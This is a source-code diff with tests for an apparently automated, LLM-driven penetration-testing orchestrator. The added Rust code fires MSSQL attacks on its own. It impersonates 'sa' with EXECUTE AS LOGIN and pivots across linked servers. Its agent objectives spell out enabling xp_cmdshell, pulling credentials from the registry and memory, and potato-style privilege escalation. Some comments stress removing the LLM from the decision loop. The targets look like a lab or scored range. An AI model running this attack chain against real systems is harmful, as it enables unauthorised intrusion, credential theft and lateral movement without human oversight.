"192.168.58.23", "domain": "contoso.local"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 2); + let ips: std::collections::HashSet<&str> = + work.iter().map(|w| w.target_ip.as_str()).collect(); + assert!(ips.contains("192.168.58.22")); + assert!(ips.contains("192.168.58.23")); + } + + #[tokio::test] + async fn collect_case_insensitive_vuln_type() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "MSSQL_ACCESS", + "192.168.58.22", + json!({"target_ip": "192.168.58.22"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + } + + #[tokio::test] + async fn collect_case_insensitive_domain_matching() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "CONTOSO.LOCAL")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22", "domain": "contoso.local"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "sa"); + } + + #[tokio::test] + async fn collect_partial_dedup_only_skips_processed() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22"}), + ), + ); + state.discovered_vulnerabilities.insert( + "v2".into(), + make_vuln( + "v2", + "mssql_access", + "192.168.58.23", + json!({"target_ip": "192.168.58.23"}), + ), + ); + state.mark_processed(DEDUP_MSSQL_COERCION, "mssql_coerce:192.168.58.22".into()); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.23"); + } + + #[tokio::test] + async fn collect_listener_propagated_to_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].listener, "192.168.58.50"); + } + + #[tokio::test] + async fn collect_mixed_vuln_types_only_mssql_access() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln( + "v1", + "mssql_access", + "192.168.58.22", + json!({"target_ip": "192.168.58.22"}), + ), + ); + state.discovered_vulnerabilities.insert( + "v2".into(), + make_vuln( + "v2", + "constrained_delegation", + "192.168.58.23", + json!({"target_ip": "192.168.58.23"}), + ), + ); + state.discovered_vulnerabilities.insert( + "v3".into(), + make_vuln( + "v3", + "mssql_impersonation", + "192.168.58.24", + json!({"target_ip": "192.168.58.24"}), + ), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.22"); + } + + #[tokio::test] + async fn collect_vuln_with_empty_target_and_no_detail_ip_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state.credentials.push(make_cred("sa", "contoso.local")); + state.discovered_vulnerabilities.insert( + "v1".into(), + make_vuln("v1", "mssql_access", "", json!({"domain": "contoso.local"})), + ); + } + let state = shared.read().await; + let work = collect_mssql_coercion_work(&state, "192.168.58.100"); + assert!(work.is_empty()); + } +} diff --git a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs index 69db94f1..01132f5d 100644 --- a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs @@ -14,14 +14,29 @@ use std::sync::Arc; use std::time::Duration; -use serde_json::json; +use ares_llm::ToolCall; +use serde_json::{json, Value}; use tokio::sync::watch; use tracing::{debug, info, warn}; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::DEDUP_MSSQL_IMPERSONATION; /// Dedup key prefix for MSSQL deep exploitation. -const DEDUP_MSSQL_DEEP: &str = "mssql_deep"; +pub(crate) const DEDUP_MSSQL_DEEP: &str = "mssql_deep"; + +/// Bounded retries for the deterministic impersonation probe before we accept +/// it as unworkable. Three is generous enough for transient races (kerberos +/// clock skew, the LLM round racing the auto on the same target) without +/// burning the slot indefinitely on a genuinely revoked impersonation grant. +const MAX_IMPERSONATION_ATTEMPTS: u32 = 3; + +/// Probe query — a single SELECT that confirms the EXECUTE AS LOGIN switch +/// landed and identifies the resulting principal. `IS_SRVROLEMEMBER('sysadmin')` +/// surfaces whether the impersonation lands us in a sysadmin context, which +/// downstream automations can chain into xp_cmdshell / SAM dumps. +const IMPERSONATION_PROBE_QUERY: &str = + "SELECT SYSTEM_USER AS who, IS_SRVROLEMEMBER('sysadmin') AS is_sa, @@SERVERNAME AS srv;"; /// Monitors for exploited MSSQL vulns and dispatches follow-up exploitation. /// Interval: 30s. @@ -95,23 +110,41 @@ pub async fn auto_mssql_exploitation( .to_string(); // Find a credential for MSSQL access. - // Prefer creds for the target domain, fall back to any cred. - let credential = state + // When the target domain is known, prefer a credential from + // that domain (cross-forest NTLM auth otherwise falls through + // to Guest, e.g. jdoe@contoso.local → FABRIKAM\Guest on + // fabrikam.local SQLEXPRESS). + // + // For `mssql_linked_server` vulns, fall back to a trusted-domain + // credential when no same-domain cred exists: the link hop + // executes via stored login mapping on the remote side, so + // any cred that authenticates to the source server is fine + // (e.g., a child cred lands on sql-link01, then EXEC AT + // [SQL01] runs as fabrikam\sql_svc via the stored mapping). + let same_domain = state .credentials .iter() .find(|c| { !c.password.is_empty() - && !state.is_credential_quarantined(&c.username, &c.domain) + && !state.is_principal_quarantined(&c.username, &c.domain) && (domain.is_empty() || c.domain.to_lowercase() == domain.to_lowercase()) }) - .or_else(|| { - state.credentials.iter().find(|c| { - !c.password.is_empty() - && !state.is_credential_quarantined(&c.username, &c.domain) - }) - }) .cloned(); + let credential = same_domain.or_else(|| { + if domain.is_empty() { + state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .cloned() + } else { + state.find_trust_credential(&domain) + } + }); if credential.is_none() { debug!( @@ -153,11 +186,20 @@ pub async fn auto_mssql_exploitation( "domain": cred.domain, }, "objectives": [ - "Enable xp_cmdshell and execute whoami to confirm code execution", + "Enable xp_cmdshell and execute `whoami` to confirm code execution", + "Immediately after `whoami` returns, run `whoami /priv` via xp_cmdshell and include the FULL privilege table in your tool_outputs verbatim — the orchestrator parses the table to detect SeImpersonatePrivilege Enabled and credit the SeImpersonate primitive on the scoreboard. Skipping this step leaves the seimpersonate token unclaimed even when the MSSQL service account holds the privilege.", "Try EXECUTE AS LOGIN = 'sa' if current user is not sysadmin", - "Extract credentials via xp_cmdshell (e.g., whoami /priv, reg query for autologon)", - "Check for SeImpersonatePrivilege for potato escalation", - "Enumerate linked servers for lateral movement", + "Enumerate ALL impersonation privileges: SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'", + "For each impersonatable login, try EXECUTE AS LOGIN = '' and check IS_SRVROLEMEMBER('sysadmin')", + "Check database-level impersonation: SELECT * FROM sys.database_permissions WHERE permission_name = 'IMPERSONATE'", + "Try EXECUTE AS USER = 'dbo' in each database (master, msdb, tempdb) for db_owner escalation", + "Check if any database has TRUSTWORTHY = ON: SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1", + "Extract credentials via xp_cmdshell (e.g., reg query for autologon, in-memory secrets)", + "If SeImpersonatePrivilege is Enabled, the seimpersonate primitive is already scoreboard-credited by the orchestrator's parser; chasing PrintSpoofer/GodPotato escalation is optional and lower priority than enumerating impersonation paths in MSSQL itself", + "Enumerate linked servers and test RPC execution on each link", + "Check who is sysadmin: SELECT name FROM sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1", + "For cross-forest linked-server pivots: enumerate SELECT s.name, s.is_rpc_out_enabled, l.uses_self_credential, l.remote_name FROM sys.servers s LEFT JOIN sys.linked_logins l ON s.server_id = l.server_id; — if `is_rpc_out_enabled=1` and `uses_self_credential=0`, use `mssql_openquery` (rides stored login mapping, bypasses double-hop)", + "If `mssql_exec_linked` fails on a cross-forest link with auth errors, retry with `impersonate_user='sa'` to wrap the hop in `EXECUTE AS LOGIN`, or switch to `mssql_openquery`", ], }); if !item.linked_server.is_empty() { @@ -211,7 +253,7 @@ struct MssqlDeepWork { /// MSSQL exploitation (follow-up on confirmed MSSQL access). pub(crate) fn is_mssql_deep_candidate(vuln_type: &str) -> bool { let vtype = vuln_type.to_lowercase(); - vtype == "mssql_access" || vtype == "mssql_linked_server" + vtype == "mssql_access" || vtype == "mssql_linked_server" || vtype == "mssql_impersonation" } /// Extract the target IP from vulnerability details, with fallbacks. @@ -227,6 +269,308 @@ pub(crate) fn resolve_mssql_target_ip( .to_string() } +/// Monitors for exploited `mssql_impersonation` vulns whose named +/// impersonable account has a stored credential, and fires the +/// `mssql_impersonate` tool directly (no LLM in the loop). +/// +/// Why deterministic: the LLM round handed an `mssql_impersonation` vuln +/// frequently completes without ever firing the `EXECUTE AS LOGIN` +/// primitive — instead it re-enumerates or asks for assistance — while +/// the dedup permanently locks the vuln. The companion `auto_mssql_exploitation` +/// "objectives" wishlist is generic enough that the LLM commonly stops at +/// step one (enumerate impersonation permissions) and never advances. +/// +/// This automation removes that gap: when state contains a credential for +/// the named `account_name` (the *impersonator* — the principal granted +/// IMPERSONATE permission, per the `mssql_impersonation` parser at +/// `ares-tools/src/parsers/mssql.rs::parse_mssql_impersonation` which stores +/// the auth user as `account_name`), authenticate as that account and +/// dispatch `mssql_impersonate` with `impersonate_user="sa"` — the standard +/// escalation target. The probe SELECT confirms the EXECUTE AS LOGIN landed +/// (surfaces SYSTEM_USER + IS_SRVROLEMEMBER('sysadmin')); on sysadmin +/// success the downstream link-pivot / xp_cmdshell automations chain in. +/// +/// Interval: 30s. +pub async fn auto_mssql_impersonation( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("mssql_access") { + continue; + } + + let work = collect_impersonation_work(&dispatcher).await; + for item in work { + // Mark the dedup BEFORE spawning so a fast subsequent tick + // doesn't double-dispatch the same probe while the first is + // in flight. The spawned task clears the dedup on probe + // failure (under the attempt cap) so the next tick can + // retry. + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_MSSQL_IMPERSONATION, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup( + &dispatcher.queue, + DEDUP_MSSQL_IMPERSONATION, + &item.dedup_key, + ) + .await; + + let dispatcher_bg = dispatcher.clone(); + tokio::spawn(async move { + run_impersonation_probe(dispatcher_bg, item).await; + }); + } + } +} + +#[derive(Debug, Clone)] +pub(crate) struct ImpersonationWork { + pub(crate) vuln_id: String, + pub(crate) dedup_key: String, + pub(crate) target_ip: String, + /// The principal we authenticate as — the user the vuln names as + /// holding IMPERSONATE permission. The credential resolver in the local + /// tool dispatcher injects the password from operation state given + /// `(account_name, account_domain)`, so we never ship plaintext through + /// `ToolCall::arguments`. The `EXECUTE AS LOGIN` target is independently + /// set to `"sa"` in `build_impersonation_args` — see that function for + /// the rationale. + pub(crate) account_name: String, + pub(crate) account_domain: String, +} + +/// Default `EXECUTE AS LOGIN` target. `sa` is the SQL Server super-user and +/// the canonical escalation target for IMPERSONATE; making `account_name` +/// impersonate itself is a no-op. Future work can plug a per-target +/// candidate list (e.g. enumerated high-priv logins). +const IMPERSONATION_TARGET_LOGIN: &str = "sa"; + +async fn collect_impersonation_work(dispatcher: &Dispatcher) -> Vec { + let state = dispatcher.state.read().await; + state + .discovered_vulnerabilities + .values() + .filter(|v| v.vuln_type.eq_ignore_ascii_case("mssql_impersonation")) + .filter(|v| state.exploited_vulnerabilities.contains(&v.vuln_id)) + .filter_map(|vuln| build_impersonation_work(&state, vuln)) + .collect() +} + +/// Build the deterministic dispatch payload for a single exploited +/// `mssql_impersonation` vuln. Returns `None` when the vuln is missing the +/// account name, has no stored credential for the account, or has already +/// been processed in this dedup set. +pub(crate) fn build_impersonation_work( + state: &crate::orchestrator::state::StateInner, + vuln: &ares_core::models::VulnerabilityInfo, +) -> Option { + let account_name = vuln + .details + .get("account_name") + .or_else(|| vuln.details.get("AccountName")) + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty())? + .to_string(); + + let target_ip = resolve_mssql_target_ip(&vuln.details, &vuln.target); + if target_ip.is_empty() { + return None; + } + + let vuln_domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or(""); + + let dedup_key = format!("{}:{}", vuln.vuln_id, account_name.to_lowercase()); + if state.is_processed(DEDUP_MSSQL_IMPERSONATION, &dedup_key) { + return None; + } + + // Look up the credential for the named impersonable account. Use + // `find_source_credential` so cross-realm/short-form domain forms + // resolve through the same normalization path as everything else — + // PR 0 already wired NetBIOS↔FQDN equivalence at the resolver, and + // this path inherits that fix automatically. + let cred = state.find_source_credential(&account_name, vuln_domain)?; + if cred.password.is_empty() { + return None; + } + if state.is_principal_quarantined(&cred.username, &cred.domain) { + return None; + } + + Some(ImpersonationWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + target_ip, + account_name: cred.username.clone(), + account_domain: cred.domain.clone(), + }) +} + +/// Build the `mssql_impersonate` tool arguments for an impersonation work +/// item. The credential resolver in the local tool dispatcher will inject +/// the password from operation state given `(username, domain)`, so we ship +/// only identity + the probe query here — never plaintext. +pub(crate) fn build_impersonation_args(item: &ImpersonationWork) -> Value { + let mut args = json!({ + "target": item.target_ip, + "username": item.account_name, + "impersonate_user": IMPERSONATION_TARGET_LOGIN, + "query": IMPERSONATION_PROBE_QUERY, + }); + if !item.account_domain.is_empty() { + args["domain"] = json!(item.account_domain); + } + args +} + +async fn run_impersonation_probe(dispatcher: Arc, item: ImpersonationWork) { + let tool_args = build_impersonation_args(&item); + + let task_id = format!( + "mssql_impersonation_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + let call = ToolCall { + id: format!("mssql_impersonate_{}", uuid::Uuid::new_v4().simple()), + name: "mssql_impersonate".to_string(), + arguments: tool_args, + }; + + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + target = %item.target_ip, + account = %item.account_name, + "MSSQL impersonation probe dispatched (direct tool, no LLM)" + ); + + let result = dispatcher + .llm_runner + .tool_dispatcher() + .dispatch_tool("privesc", &task_id, &call) + .await; + + let (succeeded, summary) = match result { + Ok(exec) => { + if let Some(err) = exec.error { + (false, format!("tool_error: {err}")) + } else if impersonation_output_landed(&exec.output) { + (true, "confirmed".to_string()) + } else { + (false, "tool_ok_but_no_evidence".to_string()) + } + } + Err(e) => (false, format!("dispatch_failure: {e}")), + }; + + handle_impersonation_outcome(&dispatcher, &item, succeeded, &summary).await; +} + +/// Did the impersonation probe output prove the `EXECUTE AS LOGIN` landed? +/// Look for the probe column aliases — same heuristic as +/// `mssql_link_pivot::probe_output_is_remote_select`. Three distinct columns +/// are tight enough that random tool noise won't match. +pub(crate) fn impersonation_output_landed(output: &str) -> bool { + let lower = output.to_ascii_lowercase(); + lower.contains("who") && lower.contains("is_sa") && lower.contains("srv") +} + +async fn handle_impersonation_outcome( + dispatcher: &Dispatcher, + item: &ImpersonationWork, + succeeded: bool, + summary: &str, +) { + if succeeded { + info!( + vuln_id = %item.vuln_id, + account = %item.account_name, + target = %item.target_ip, + "MSSQL impersonation probe confirmed — EXECUTE AS LOGIN landed; \ + marking vuln exploited so linked-server pivot can fire" + ); + // Mark the vuln exploited so: + // 1. supersession in dedup.rs hides the moot `mssql_access` row + // 2. `auto_mssql_link_pivot` (which now treats a same-target exploited + // impersonation as a green light) will fire on the next tick + if let Err(e) = dispatcher + .state + .mark_exploited(&dispatcher.queue, &item.vuln_id) + .await + { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to mark mssql_impersonation exploited after confirmed probe"); + } + // Clear the attempt counter on success. + { + let mut state = dispatcher.state.write().await; + state.mssql_link_pivot_attempts.remove(&item.dedup_key); + } + return; + } + + let attempts = { + let mut state = dispatcher.state.write().await; + let count = state + .mssql_link_pivot_attempts + .entry(item.dedup_key.clone()) + .or_insert(0); + *count += 1; + *count + }; + + if attempts < MAX_IMPERSONATION_ATTEMPTS { + warn!( + vuln_id = %item.vuln_id, + account = %item.account_name, + attempts, + max_attempts = MAX_IMPERSONATION_ATTEMPTS, + summary, + "MSSQL impersonation probe failed — clearing dedup for retry" + ); + { + let mut state = dispatcher.state.write().await; + state.unmark_processed(DEDUP_MSSQL_IMPERSONATION, &item.dedup_key); + } + let _ = dispatcher + .state + .unpersist_dedup( + &dispatcher.queue, + DEDUP_MSSQL_IMPERSONATION, + &item.dedup_key, + ) + .await; + } else { + warn!( + vuln_id = %item.vuln_id, + account = %item.account_name, + attempts, + summary, + "MSSQL impersonation probe gave up after MAX_IMPERSONATION_ATTEMPTS — \ + dedup locked; downstream LLM round may still attempt EXECUTE AS LOGIN" + ); + } +} + #[cfg(test)] mod tests { use super::*; @@ -246,11 +590,12 @@ mod tests { assert!(is_mssql_deep_candidate("MSSQL_ACCESS")); assert!(is_mssql_deep_candidate("mssql_linked_server")); assert!(is_mssql_deep_candidate("MSSQL_LINKED_SERVER")); + assert!(is_mssql_deep_candidate("mssql_impersonation")); + assert!(is_mssql_deep_candidate("MSSQL_IMPERSONATION")); } #[test] fn is_mssql_deep_candidate_negative() { - assert!(!is_mssql_deep_candidate("mssql_impersonation")); assert!(!is_mssql_deep_candidate("rbcd")); assert!(!is_mssql_deep_candidate("esc1")); assert!(!is_mssql_deep_candidate("")); @@ -299,4 +644,223 @@ mod tests { let dedup_key = format!("{DEDUP_MSSQL_DEEP}:{vuln_id}"); assert_eq!(dedup_key, "mssql_deep:vuln-789"); } + + // --- auto_mssql_impersonation tests --- + + use crate::orchestrator::state::StateInner; + use ares_core::models::{Credential, VulnerabilityInfo}; + + fn impersonation_vuln( + vuln_id: &str, + target: &str, + account_name: &str, + domain: &str, + ) -> VulnerabilityInfo { + let mut details = HashMap::new(); + details.insert("account_name".to_string(), json!(account_name)); + details.insert("domain".to_string(), json!(domain)); + details.insert("hostname".to_string(), json!(target)); + VulnerabilityInfo { + vuln_id: vuln_id.to_string(), + vuln_type: "mssql_impersonation".to_string(), + target: target.to_string(), + discovered_by: "mssql_enum_impersonation".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: "privesc".to_string(), + priority: 3, + } + } + + fn cred(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("cred-{username}"), + username: username.to_string(), + password: password.to_string(), + domain: domain.to_string(), + source: "test".to_string(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn build_impersonation_work_builds_tool_call_when_cred_matches() { + // The headline PR 3 case: mssql_impersonation vuln exploited, + // `account_name` = svc_sql, and we hold svc_sql's cred in state. + // The deterministic auto must produce a work item that targets the + // vuln's IP and authenticates as the named account. + let mut state = StateInner::new("op-test".into()); + let vuln = impersonation_vuln( + "mssql_impersonation_192.168.58.51", + "192.168.58.51", + "svc_sql", + "contoso.local", + ); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln.clone()); + state.exploited_vulnerabilities.insert(vuln.vuln_id.clone()); + state + .credentials + .push(cred("svc_sql", "P@ssw0rd!", "contoso.local")); + + let work = build_impersonation_work(&state, &vuln).expect("work item expected"); + assert_eq!(work.vuln_id, "mssql_impersonation_192.168.58.51"); + assert_eq!(work.target_ip, "192.168.58.51"); + assert_eq!(work.account_name, "svc_sql"); + assert_eq!(work.account_domain, "contoso.local"); + assert!(work.dedup_key.contains("svc_sql")); + + let args = build_impersonation_args(&work); + assert_eq!(args["target"], "192.168.58.51"); + assert_eq!(args["username"], "svc_sql"); + assert_eq!(args["domain"], "contoso.local"); + // The vuln's `account_name` is the *impersonator* (per + // ares-tools/src/parsers/mssql.rs: the principal that holds + // IMPERSONATE). Authenticate as that principal but EXECUTE AS LOGIN + // to `sa` — impersonating self is a no-op. + assert_eq!(args["impersonate_user"], IMPERSONATION_TARGET_LOGIN); + assert_eq!(args["impersonate_user"], "sa"); + assert_eq!(args["query"].as_str().unwrap(), IMPERSONATION_PROBE_QUERY); + // Plaintext secrets MUST NOT be in the tool args — the local + // dispatcher's credential resolver injects them after lookup. + assert!(args.get("password").is_none()); + assert!(args.get("hash").is_none()); + } + + #[test] + fn build_impersonation_work_skips_when_no_matching_credential() { + // The named account has no stored credential — the auto must + // skip (return None) so we don't dispatch a tool call against a + // principal we can't authenticate as. This is the regression + // guard against firing impersonation with no auth material. + let mut state = StateInner::new("op-test".into()); + let vuln = impersonation_vuln( + "mssql_impersonation_192.168.58.51", + "192.168.58.51", + "svc_sql", + "contoso.local", + ); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln.clone()); + state.exploited_vulnerabilities.insert(vuln.vuln_id.clone()); + // Different account credential — does NOT match svc_sql. + state + .credentials + .push(cred("alice", "wrongpass", "contoso.local")); + + assert!(build_impersonation_work(&state, &vuln).is_none()); + } + + #[test] + fn build_impersonation_work_skips_when_already_processed() { + let mut state = StateInner::new("op-test".into()); + let vuln = impersonation_vuln( + "mssql_impersonation_192.168.58.51", + "192.168.58.51", + "svc_sql", + "contoso.local", + ); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln.clone()); + state.exploited_vulnerabilities.insert(vuln.vuln_id.clone()); + state + .credentials + .push(cred("svc_sql", "P@ssw0rd!", "contoso.local")); + + // Sanity: first call produces a work item, then we mark it + // processed and the second call must return None. + let work = build_impersonation_work(&state, &vuln).expect("first call should produce work"); + state.mark_processed(DEDUP_MSSQL_IMPERSONATION, work.dedup_key.clone()); + assert!(build_impersonation_work(&state, &vuln).is_none()); + } + + #[test] + fn build_impersonation_work_skips_when_account_name_missing() { + // A malformed vuln (no `account_name` detail) must not panic — it + // simply returns None. This guards against parser drift. + let mut state = StateInner::new("op-test".into()); + let mut vuln = impersonation_vuln( + "mssql_impersonation_192.168.58.51", + "192.168.58.51", + "svc_sql", + "contoso.local", + ); + vuln.details.remove("account_name"); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln.clone()); + state.exploited_vulnerabilities.insert(vuln.vuln_id.clone()); + state + .credentials + .push(cred("svc_sql", "P@ssw0rd!", "contoso.local")); + + assert!(build_impersonation_work(&state, &vuln).is_none()); + } + + #[test] + fn build_impersonation_work_skips_quarantined_credential() { + // If the matching cred is quarantined (lockout), don't fire — that + // would just trigger another lockout. Same guard as the link-pivot + // and deep-exploit paths. + let mut state = StateInner::new("op-test".into()); + let vuln = impersonation_vuln( + "mssql_impersonation_192.168.58.51", + "192.168.58.51", + "svc_sql", + "contoso.local", + ); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln.clone()); + state.exploited_vulnerabilities.insert(vuln.vuln_id.clone()); + state + .credentials + .push(cred("svc_sql", "P@ssw0rd!", "contoso.local")); + state.quarantine_principal("svc_sql", "contoso.local"); + + assert!(build_impersonation_work(&state, &vuln).is_none()); + } + + #[test] + fn impersonation_output_landed_recognises_probe_columns() { + let out = "SQL> EXECUTE AS LOGIN = 'svc_sql'; SELECT ...\n\ + who is_sa srv\n\ + -- ----- ---\n\ + contoso\\svc_sql 0 SQL01"; + assert!(impersonation_output_landed(out)); + } + + #[test] + fn impersonation_output_landed_rejects_login_failed() { + let out = "[!] ERROR(SQL01): Login failed for user 'svc_sql'"; + assert!(!impersonation_output_landed(out)); + } + + #[test] + fn impersonation_args_omit_domain_when_unknown() { + let item = ImpersonationWork { + vuln_id: "v1".into(), + dedup_key: "v1:svc_sql".into(), + target_ip: "192.168.58.51".into(), + account_name: "svc_sql".into(), + account_domain: String::new(), + }; + let args = build_impersonation_args(&item); + assert!(args.get("domain").is_none()); + assert_eq!(args["username"], "svc_sql"); + assert_eq!(args["impersonate_user"], "sa"); + } + + #[test] + fn max_impersonation_attempts_is_bounded() { + // Sanity check — match the link-pivot bound so the retry cost is + // consistent across MSSQL automations. + assert!((2..=6).contains(&MAX_IMPERSONATION_ATTEMPTS)); + } } diff --git a/ares-cli/src/orchestrator/automation/mssql_link_pivot.rs b/ares-cli/src/orchestrator/automation/mssql_link_pivot.rs new file mode 100644 index 00000000..276781e4 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/mssql_link_pivot.rs @@ -0,0 +1,738 @@ +//! auto_mssql_link_pivot — deterministic cross-server pivot via `mssql_exec_linked`. +//! +//! The companion `auto_mssql_exploitation` automation hands the LLM an +//! "objectives" wishlist when an `mssql_linked_server` vulnerability is +//! confirmed exploited and trusts the LLM to issue `mssql_exec_linked` / +//! `mssql_openquery` against the named link. In practice the LLM frequently +//! completes the round without ever firing the cross-link primitive, +//! leaving the pivot untouched while the deep-exploit dedup permanently +//! locks the vuln (observed repeatedly in long-running ops where the +//! source-side MSSQL is reachable, the linked server is enumerated, but +//! no remote SELECT ever hits the wire). +//! +//! This automation removes the LLM from the critical path: for every +//! exploited `mssql_linked_server` vuln, dispatch `mssql_exec_linked` +//! directly via the tool dispatcher with a probe SELECT that identifies +//! the remote principal and sysadmin status. Result-driven dedup — only +//! mark dedup on success or after `MAX_PIVOT_ATTEMPTS` retries, so a +//! transient auth race does not bury the primitive. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::{json, Value}; +use tokio::sync::watch; +use tracing::{info, warn}; + +use ares_llm::ToolCall; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +use super::mssql_exploitation::resolve_mssql_target_ip; + +/// Bounded retries before we accept the pivot as unworkable for now. +/// Each attempt is a single `mssql_exec_linked` round-trip; three is +/// generous enough for transient races (kerberos clock skew, the LLM +/// round queueing behind the link discovery) without burning the slot +/// indefinitely on a genuinely broken stored login mapping. +const MAX_PIVOT_ATTEMPTS: u32 = 3; + +/// Probe query — a single SELECT that identifies who we are on the +/// remote side and whether we have sysadmin. Three columns, no DDL, +/// no xp_cmdshell — minimum primitive that proves the cross-link auth +/// is workable. Once this succeeds the orchestrator knows the link +/// hop is viable and downstream automation (or the existing LLM +/// deep-exploit round) can chain xp_cmdshell. +const PROBE_QUERY: &str = + "SELECT SYSTEM_USER AS who, IS_SRVROLEMEMBER('sysadmin') AS is_sa, @@SERVERNAME AS srv;"; + +/// Monitors for exploited `mssql_linked_server` vulns and fires the +/// deterministic cross-link probe. Interval: 45s. +pub async fn auto_mssql_link_pivot( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("mssql_access") { + continue; + } + + let work = collect_pivot_work(&dispatcher).await; + for item in work { + // Mark the dedup BEFORE spawning so a fast subsequent tick + // doesn't double-dispatch the same probe while the first is + // in flight. The spawned task clears the dedup on probe + // failure (under the attempt cap) so the next tick can + // retry. + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_MSSQL_LINK_PIVOT, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_MSSQL_LINK_PIVOT, &item.dedup_key) + .await; + + let dispatcher_bg = dispatcher.clone(); + tokio::spawn(async move { + run_pivot_probe(dispatcher_bg, item).await; + }); + } + } +} + +#[derive(Debug, Clone)] +struct PivotWork { + vuln_id: String, + dedup_key: String, + target_ip: String, + linked_server: String, + cred_username: String, + cred_domain: String, +} + +/// Has any `mssql_impersonation` vuln on the same `target` been marked +/// exploited? Used by the linked-server pivot to fire as soon as +/// `auto_mssql_impersonation` confirms `EXECUTE AS LOGIN` worked, even +/// though the `mssql_linked_server` vuln itself hasn't been independently +/// exploited yet (the impersonation chain is what gives us the rights for +/// the cross-link openquery hop in the first place). +fn same_target_impersonation_exploited(state: &StateInner, target: &str) -> bool { + if target.is_empty() { + return false; + } + state.discovered_vulnerabilities.values().any(|v| { + v.vuln_type.eq_ignore_ascii_case("mssql_impersonation") + && v.target == target + && state.exploited_vulnerabilities.contains(&v.vuln_id) + }) +} + +async fn collect_pivot_work(dispatcher: &Dispatcher) -> Vec { + let state = dispatcher.state.read().await; + state + .discovered_vulnerabilities + .values() + .filter(|v| v.vuln_type.eq_ignore_ascii_case("mssql_linked_server")) + // Source-side access has to be confirmed before a cross-link + // probe can succeed — no point firing if we never authenticated + // to the source MSSQL. Accept EITHER the linked_server vuln itself + // being exploited (LLM round confirmed access) OR a same-target + // `mssql_impersonation` being exploited (PR 3: + // `auto_mssql_impersonation` just landed EXECUTE AS LOGIN, which + // proves source-side access AND grants the rights typically needed + // for 